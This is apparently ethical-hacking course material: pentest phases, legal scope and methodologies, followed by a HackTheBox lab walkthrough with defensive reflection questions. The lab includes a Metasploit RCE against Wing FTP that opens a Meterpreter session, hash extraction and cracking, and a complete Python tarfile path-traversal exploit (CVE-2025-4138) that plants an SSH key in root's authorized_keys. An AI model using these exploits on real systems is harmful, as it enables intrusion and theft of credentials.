Ethical Hacking
Objectives: By the end of this topic, you will be able to…
- Execute a basic pentest with a clear methodology
- Use Kali Linux tools in each phase of ethical hacking
- Document findings professionally
- Act within a legal and ethical framework
What is ethical hacking?
Ethical hacking is the practice of assessing the security of computer systems in a controlled, legal way with explicit consent from the owner. The goal is to identify vulnerabilities before malicious actors exploit them.
An ethical hacker (pentester) simulates real attacks to strengthen security. Unlike malicious hackers (black hats), ethical hackers (white hats) act responsibly and professionally within a legal and ethical framework.
| Aspect | Ethical Hacking | Malicious Hacking |
|---|---|---|
| Intention | Protect and improve security | Obtain personal gain |
| Legality | With authorization | Without consent |
| Documentation | Requires technical report | Avoids leaving traces |
| Defined scope | Yes, established by contract | Does not respect boundaries |
| Consequences | Security improvements | Reputational, financial, or legal damage |
Phases of ethical hacking
1. Reconnaissance
Collect information about the target without directly interacting with it: websites, domains, DNS records, technologies in use, emails, employee names, leaks.
Common tools: whois, nslookup, theHarvester, Shodan, Maltego
2. Scanning and enumeration
Interact directly with the target to identify services, open ports, and attack vectors. Enumerate users, software versions, entry points.
Common tools: nmap, nikto, dirb, enum4linux
3. Exploitation
Leverage identified vulnerabilities to obtain unauthorized access. Demonstrates whether a finding is truly exploitable.
Common tools: sqlmap, msfconsole, exploit-db, custom scripts
4. Post-exploitation
Assess the impact once inside the system: privileges obtained, data accessible, possibility of persistent access.
Possible activities: dumping passwords, lateral movement, extracting tokens or keys.
5. Reporting
Document all activities: vulnerabilities found, severity, evidence (screenshots, logs, commands), mitigation recommendations. Reports should be clear, technical, and reproducible.
Legal models: contracts, permissions and scope
Before any pentest activity, a signed legal agreement must define:
- Scope: which systems are authorized, allowed times, depth of testing
- Limitations: what is not permitted (e.g., no DoS)
- Legal liability: damage limits, protection for the tester
- Confidentiality: nondisclosure agreement (NDA)
Never perform a penetration test without a formal contract or agreement.
Recognized pentesting methodologies
PTES (Penetration Testing Execution Standard)
Comprehensive framework covering: pre-engagement interactions, intelligence gathering, threat modeling, vulnerability analysis, exploitation, post-exploitation, and reporting.
OSSTMM (Open Source Security Testing Methodology Manual)
Broad, scientific approach covering human, physical, electronic, and process aspects. Defines zones of interaction and quantitative metrics.
Hands-on lab
Requirements: Kali Linux with HackTheBox VPN, machine “WingData”
Safety and ethics
Only attack machines you have explicit permission to test. Record every step you take so your work is reproducible and can be graded. Use disposable VMs or containers to isolate your activity and avoid damaging your host system.
Part 0: Connect to HTB via OpenVPN
sudo openvpn --config ~/Downloads/HTB-yourvpn.ovpnVerify with ip a (check for tun0 interface) and ping <target-ip>.
? Why does HTB require you to connect via VPN before accessing any machine? What network boundaries does the tunnel create, and why would it be dangerous to expose a lab machine directly to the internet?
Part 1: Reconnaissance with nmap
Run a basic scan followed by an aggressive one to gather version information:
nmap -sC -sV <target-ip>
nmap -A <target-ip>The results show SSH on port 22 (OpenSSH 9.2p1) and HTTP on port 80 (Apache 2.4.66). The web server redirects to wingdata.htb, revealing the target’s hostname via virtual host configuration.
? What does the redirect to
wingdata.htbtell you about how the web server is configured? Why does the site fail to load if you access it by IP address directly?
Part 2: Hostname resolution
sudo nano /etc/hosts
# add: <target-ip> wingdata.htbBrowse to http://wingdata.htb and explore the application. It presents a file-sharing and encryption platform (“Wing Data Solutions”) with a Client Portal. Inspect the page source and links for any references to additional hostnames or subdomains.
? What information can you collect from the landing page alone, without running any active scanning tool? List at least three pieces of data visible to an unauthenticated visitor and explain how each could help an attacker plan the next step.
Part 3: Subdomain discovery
If you find a subdomain reference in the application, note it down. If not, brute-force virtual hostnames with ffuf. SecLists is no longer bundled with Kali by default, so clone it first:
git clone --depth 1 https://github.com/danielmiessler/SecLists.git ~/SecListsThen run:
ffuf -u http://<target-ip> -H "Host: FUZZ.wingdata.htb" \
-w ~/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
-fc 301The -fc 301 flag filters out the default redirect response so only real hits are shown. Either way, you should identify ftp.wingdata.htb.
Add both hostnames to your hosts file:
sudo nano /etc/hosts
# update line to: <target-ip> wingdata.htb ftp.wingdata.htbBrowse to http://ftp.wingdata.htb. The login page footer identifies the service as Wing FTP Server v7.4.3.
? Why is subdomain enumeration a critical reconnaissance step? What new attack surface did discovering
ftp.wingdata.htbreveal compared to the initial nmap scan?
? The footer of the Wing FTP login page discloses the exact software version. Why is version disclosure a security risk? What configuration change would remove it, and how does its presence accelerate this attack?
Part 4: Identify and exploit Wing FTP RCE (CVE-2025-47812)
- Search for known exploits against this version:
searchsploit wing ftpThe results show exploit 52347 — an unauthenticated RCE for Wing FTP Server 7.4.3.
- Launch Metasploit and load the module:
msfconsole
search wingftp
use exploit/multi/http/wingftp_null_byte_rce- Configure the exploit options:
set RHOSTS <target-ip>
set VHOST ftp.wingdata.htb
set LHOST <your-tun0-ip>
run
A Meterpreter session opens, providing unauthenticated access via a NULL-byte authentication bypass.
? What is a NULL-byte injection vulnerability? Why does inserting a null byte cause some authentication mechanisms to fail, and at which layer of the stack (application, library, OS) does the confusion typically occur?
? At which phase of the ethical hacking methodology does obtaining a Meterpreter session occur? How does a Meterpreter session differ from a raw reverse shell in terms of post-exploitation capabilities?
Part 5: Post-exploitation — finding credentials
- Spawn a full TTY shell and enumerate users:
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /etc/passwdNote the service account wingftp and the standard user wacky (UID 1001).
- Search for Wing FTP user configuration files:
find /opt/wftpserver/ -name "*.xml" 2>/dev/null
cat /opt/wftpserver/Data/1/users/wacky.xmlThe file contains a <Password> tag with a 64-character SHA-256 hash.
- Download the file to your local machine for offline analysis. Exit the shell back to the Meterpreter prompt first, then use the built-in
downloadcommand:
exit
download /opt/wftpserver/Data/1/users/wacky.xml .
? Why is storing password hashes in application XML configuration files a security risk? What is the secure alternative for managing service account credentials in a production environment?
Part 6: Crack the hash
- Save the hash to a file, appending the salt
WingFTPseparated by a colon (format required by hashcat mode 1410:hash:salt):
echo "<hash-from-wacky.xml>:WingFTP" > hashes.txt- Identify the hash type:
hash-identifier- Crack with Hashcat using the rockyou wordlist:
hashcat -m 1410 hashes.txt /usr/share/wordlists/rockyou.txtRecover the plaintext password for user wacky.
? The password was found in
rockyou.txt, one of the most common wordlists. What does this tell you about the password’s strength? What password policy (length, character set, rotation) would have made this offline attack impractical?
Part 7: SSH access and user flag
ssh wacky@<target-ip>
cat ~/user.txtPart 8: Privilege escalation via TarSlip (CVE-2025-4138)
- Check sudo permissions:
sudo -lUser wacky can run /opt/backup_clients/restore_backup_clients.py as root with NOPASSWD.
- Read the script and identify the vulnerability:
cat /opt/backup_clients/restore_backup_clients.pyThe script calls tarfile.extractall() without validating archive contents, making it susceptible to a path traversal (TarSlip) attack.
? Identify the specific line in the script that introduces the vulnerability. How should
tarfile.extractall()be called to extract safely? What built-in Python mechanism exists since Python 3.12 to prevent this class of attack?
- Generate an SSH key pair on the target:
ssh-keygen -t ed25519 -f ~/wingdata_key -N ""- Create a malicious tar archive that plants the public key into
/root/.ssh/authorized_keys:
Save the following script as cve_2025_4138.py. It exploits CVE-2025-4138, a Python tarfile filter bypass that allows a crafted archive to write files outside the extraction directory by exceeding the OS PATH_MAX limit through a chain of symlinks.
#!/usr/bin/env python3
"""
CVE-2025-4138 / CVE-2025-4517 — Python tarfile PATH_MAX Filter Bypass
The vulnerability: Python's tarfile.extractall() filter checks whether a
path escapes the destination directory, but this check can be defeated by
building a chain of symlinks whose total resolved length exceeds PATH_MAX
(4096 bytes on Linux). Once the kernel can no longer resolve the full path,
the filter's boundary check fails open and the final write lands wherever
the symlink chain points — in this case, /root/.ssh/authorized_keys.
"""
import tarfile
import io
import os
import argparse
# A directory component of 247 chars. Repeated across 16 levels this
# produces a resolved path well above PATH_MAX, which is ~4096 bytes.
DIR_COMP_LEN = 247
CHAIN_STEPS = "abcdefghijklmnop" # 16 symlink levels
LONG_LINK_LEN = 254 # length of the pivot symlink name
def build_exploit_tar(tar_path, target_file, payload, file_mode=0o644):
comp = "d" * DIR_COMP_LEN # the long directory name reused at every level
inner_path = ""
with tarfile.open(tar_path, "w") as tar:
# --- Stage 1: build a chain of 16 (long-dir / short-symlink) pairs ---
# Each iteration creates:
# <inner_path>/<comp>/ — a real directory with a 247-char name
# <inner_path>/<letter> — a short symlink pointing to that directory
# Walking the short letters a→p therefore resolves to a path that is
# 16 × 247 = 3952 chars deep, approaching PATH_MAX.
for step_char in CHAIN_STEPS:
d = tarfile.TarInfo(name=os.path.join(inner_path, comp))
d.type = tarfile.DIRTYPE
tar.addfile(d)
s = tarfile.TarInfo(name=os.path.join(inner_path, step_char))
s.type = tarfile.SYMTYPE
s.linkname = comp # short name → long directory
tar.addfile(s)
inner_path = os.path.join(inner_path, comp)
# --- Stage 2: pivot symlink — exceed PATH_MAX ---
# The name "a/b/c/.../p/<254 chars>" is itself very long. Its target
# is 16 levels of "../", which unwinds the entire chain back to the
# extraction root. At this depth the filter's path-length check
# overflows and stops enforcing the boundary.
short_chain = "/".join(CHAIN_STEPS) # a/b/.../p
link_name = os.path.join(short_chain, "l" * LONG_LINK_LEN)
pivot = tarfile.TarInfo(name=link_name)
pivot.type = tarfile.SYMTYPE
pivot.linkname = "../" * len(CHAIN_STEPS) # climb back to root
tar.addfile(pivot)
# --- Stage 3: escape symlink — point outside the extraction dir ---
# "escape" resolves through the pivot (now at the filesystem root)
# and then descends into the target file's parent directory.
# The 8 extra "../" hops absorb any remaining prefix from the
# extraction staging directory.
target_dir = os.path.dirname(target_file)
target_basename = os.path.basename(target_file)
depth = 8
escape_linkname = (
link_name + "/" + ("../" * depth) + target_dir.lstrip("/")
)
esc = tarfile.TarInfo(name="escape")
esc.type = tarfile.SYMTYPE
esc.linkname = escape_linkname
tar.addfile(esc)
# --- Stage 4: write the payload ---
# "escape/<basename>" follows the escape symlink and lands at
# <target_file> on the real filesystem. uid/gid 0 ensure the
# written file is owned by root when extracted under sudo.
payload_entry = tarfile.TarInfo(name=f"escape/{target_basename}")
payload_entry.type = tarfile.REGTYPE
payload_entry.size = len(payload)
payload_entry.mode = file_mode
payload_entry.uid = 0
payload_entry.gid = 0
tar.addfile(payload_entry, fileobj=io.BytesIO(payload))
print(f"[+] Exploit tar: {tar_path}")
print(f"[+] Target: {target_file}")
print(f"[+] Payload size: {len(payload)} bytes")
def main():
parser = argparse.ArgumentParser(description="CVE-2025-4138 Exploit")
parser.add_argument("--tar-out", "-o", required=True,
help="Output path for the malicious .tar file")
parser.add_argument("--preset", "-p", choices=["ssh-key"],
help="Preset target (ssh-key → /root/.ssh/authorized_keys)")
parser.add_argument("--payload", "-P", required=True,
help="Path to the payload file (e.g. your public key)")
args = parser.parse_args()
if args.preset == "ssh-key":
target_file = "/root/.ssh/authorized_keys"
file_mode = 0o600
with open(os.path.expanduser(args.payload), "rb") as f:
payload = f.read()
if not payload.endswith(b"\n"):
payload += b"\n"
build_exploit_tar(args.tar_out, target_file, payload, file_mode)
if __name__ == "__main__":
main()Run the script to build the malicious archive:
python3 cve_2025_4138.py --tar-out backup_888.tar --preset ssh-key --payload ~/wingdata_key.pub- Move the archive to the backup directory and trigger the restoration:
mv backup_888.tar /opt/backup_clients/backups/
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_888.tar -r restore_win123- SSH as root using the implanted key:
ssh -i ~/wingdata_key root@127.0.0.1
cat /root/root.txt? What made
restore_backup_clients.pya viable privilege escalation vector? What general principle doNOPASSWDsudo entries violate, and how should sudo privileges be audited on a production system?
? Trace the full attack chain from initial access to root, naming the vulnerability exploited at each step and the phase of the ethical hacking methodology it belongs to. For each vulnerability, write one sentence describing how the system owner could have prevented it.
Cleanup
rm -f ~/wingdata_key ~/wingdata_key.pubSubmission
ZIP file containing:
- PDF report (executive summary, methodology, prioritized findings, remediation guidance)
- Raw commands transcript
- Screenshots directory (named by step)
- PoC directory with payloads and scripts used
- One paragraph per vulnerability explaining why the exploit worked and one mitigation
Key concepts
| Term | Definition |
|---|---|
| Hacking etico | Authorized security assessment simulating real attacks |
| Pentesting | Penetration testing with a structured methodology |
| Metasploit | Exploitation framework for security assessments |
| Nmap | Port scanning and service discovery tool |
| Reverse shell | Connection initiated from the compromised system to the attacker |
| PTES | Standard that defines the phases of a professional pentest |